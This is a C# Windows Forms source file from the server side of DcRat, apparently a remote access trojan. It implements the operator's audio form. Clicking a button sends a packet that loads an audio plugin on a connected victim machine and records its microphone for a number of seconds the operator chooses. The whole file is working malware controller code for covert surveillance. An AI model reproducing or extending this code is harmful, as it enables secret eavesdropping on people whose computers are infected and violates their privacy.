DcRat/Server/Forms/FormAudio.cs

76 lines
2.4 KiB
C#

using Server.Algorithm;
using Server.Connection;
using Server.Handle_Packet;
using Server.MessagePack;
using System;
using System.Drawing;
using System.IO;
using System.Media;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Server.Forms
{
public partial class FormAudio : Form
{
public Form1 F { get; set; }
internal Clients ParentClient { get; set; }
internal Clients Client { get; set; }
private SoundPlayer SP = new SoundPlayer();
public FormAudio()
{
InitializeComponent();
MinimizeBox = false;
MaximizeBox = false;
}
public byte[] BytesToPlay { get; set; }
//Start or stop audio recording
private void btnStartStopRecord_Click(object sender, EventArgs e)
{
if (textBox1.Text != null&& textBox1.Text != "")
{
MsgPack packet = new MsgPack();
packet.ForcePathObject("Pac_ket").AsString = "audio";
packet.ForcePathObject("Second").AsString = textBox1.Text;
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Pac_ket").AsString = "plu_gin";
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\Audio.dll"));
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
Thread.Sleep(100);
btnStartStopRecord.Text = "Wait...";
btnStartStopRecord.Enabled = false;
DateTime dt1 = DateTime.Now;
int timetosleep = Convert.ToInt32(textBox1.Text) * 1000;
while ((DateTime.Now - dt1).TotalMilliseconds < timetosleep)
{
continue;
};
btnStartStopRecord.Text = "Start Recording";
btnStartStopRecord.Enabled = true;
}
else
{
MessageBox.Show("Input seconds to record.");
}
}
//Start or stop audio playback
private void timer1_Tick(object sender, EventArgs e)
{
try
{
if (!Client.TcpClient.Connected || !ParentClient.TcpClient.Connected) this.Close();
}
catch { this.Close(); }
}
}
}